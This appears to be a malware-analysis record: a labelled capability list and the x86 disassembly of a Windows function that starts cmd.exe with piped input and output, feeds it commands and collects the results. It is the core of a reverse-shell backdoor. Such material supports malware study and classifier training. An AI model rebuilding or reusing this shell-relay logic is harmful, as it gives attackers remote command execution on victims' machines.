Function at 0x4025e0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
add esp, 0xffffffd8
push esi
mov esi, dword [esp + 0x30]
cmp byte [esi], 0
mov byte [esp + 7], 0
jne 0x402683
mov eax, dword [0x413dcc]
test eax, eax
je 0x40267c
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
or eax, eax
je 0x402617
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [0x413d68]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [0x413d6c]
push ecx
call esi
mov edx, dword [0x413d70]
push edx
call esi
mov eax, dword [0x413d74]
push eax
call esi
or eax, 0xffffffff
mov dword [0x413d74], eax
mov dword [0x413d70], eax
mov dword [0x413d6c], eax
mov dword [0x413d68], eax
push 0x44
xor eax, eax
push eax
push 0x413d80
mov dword [0x413dc4], eax
mov dword [0x413dc8], eax
mov dword [0x413dcc], eax
mov dword [0x413dd0], eax
call fcn.00403910
sub esp, 0xfffffff4
pop esi
sub esp, 0xffffffd8
mov al, 1
ret
push edi
push ebp
xor ebp, ebp
cmp dword [0x413dcc], ebp
push ebx
mov ebx, 1
jne 0x40275e
xor eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebp
lea ecx, [esp + 0x24]
push ecx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
push 0x413d74
mov eax, 0xc
push 0x413d68
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ebp
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], ebp
mov dword [esp + 0x44], ebx
call edi
or eax, eax
je 0x40274f
push ebp
lea edx, [esp + 0x30]
push edx
push 0x413d6c
push 0x413d70
call edi
or eax, eax
je 0x40274f
push 0x413d80
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [0x413d68]
push 0x413dc4
push 0x413d80
push ebp
push ebp
push ebp
push ebx
push ebp
push ebp
mov dword [0x413db8], eax
mov eax, dword [0x413d6c]
push ebp
push str.C:windows_system32cmd.exe
mov dword [0x413dac], 0x101
mov dword [0x413dc0], eax
mov dword [0x413dbc], eax
mov word [0x413db0], bp
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
or eax, eax
jne 0x402759
pop ebx
pop ebp
xor al, al
pop edi
pop esi
sub esp, 0xffffffd8
ret
mov byte [esp + 0x13], 1
push esi
push esi
call fcn.004018e0
add esp, 8
mov dword [esp + 0x18], ebp
mov eax, esi
lea edi, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x402771
push ebp
lea ecx, [esp + 0x1c]
sub eax, edi
push ecx
mov edx, dword [0x413d74]
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push edx
call esi
mov ecx, dword [0x413d74]
push ebp
lea eax, [esp + 0x1c]
push eax
push 2
push 0x40f310
push ecx
call esi
push 0x100000
call fcn.00403e92
mov edi, eax
push 0x100000
push ebp
push edi
mov dword [esp + 0x2c], edi
call fcn.00403910
sub esp, 0xfffffff0
cmp byte [esp + 0x13], 0
je 0x4027fc
mov edx, dword [0x413dcc]
push edx
push str.Create_Child_Cmd.exe_Process_Succeed__nChild_ProcessId_is__d_n
push edi
call fcn.00403b50
add esp, 0xc
mov ebp, edi
lea ecx, [ebp + 1]
lea esp, [esp]
mov al, byte [ebp]
sub ebp, 0xffffffff
test al, al
jne 0x4027f0
sub ebp, ecx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x14], 0
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x3c], 0
jne 0x402825
cmp dword [esp + 0x14], 0
je 0x4028af
cmp ebp, 0xff800
jae 0x4028af
mov ebx, 0x100000
mov ecx, dword [0x413d70]
push 0
push 0
lea eax, [esp + 0x44]
sub ebx, ebp
push eax
push ebx
lea esi, [edi + ebp]
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov eax, dword [esp + 0x3c]
test eax, eax
jne 0x40286b
cmp dword [esp + 0x14], eax
jne 0x4028af
mov dword [esp + 0x14], 1
jmp 0x402808
mov edi, eax
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x413d70]
push 0
lea edx, [esp + 0x40]
push edx
push ebx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
or eax, eax
jne 0x402894
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 1
mov dword [esp + 0x18], 0
add ebp, edi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [esp + 0x1c]
jmp 0x402813
push edi
push edi
call fcn.00401870
mov ebx, ebx
mov eax, edi
sub esp, 0xfffffff8
lea edx, [eax + 1]
mov cl, byte [eax]
sub eax, 0xffffffff
or cl, cl
jne 0x4028c0
push 8
sub eax, edx
push 0x413d34
sub eax, 0xfffffff6
push eax
push edi
call fcn.004019c0
movzx ebp, al
push edi
call fcn.00404267
sub esp, 0xffffffec
or ebp, ebp
setne al
pop ebx
pop ebp
pop edi
pop esi
sub esp, 0xffffffd8
ret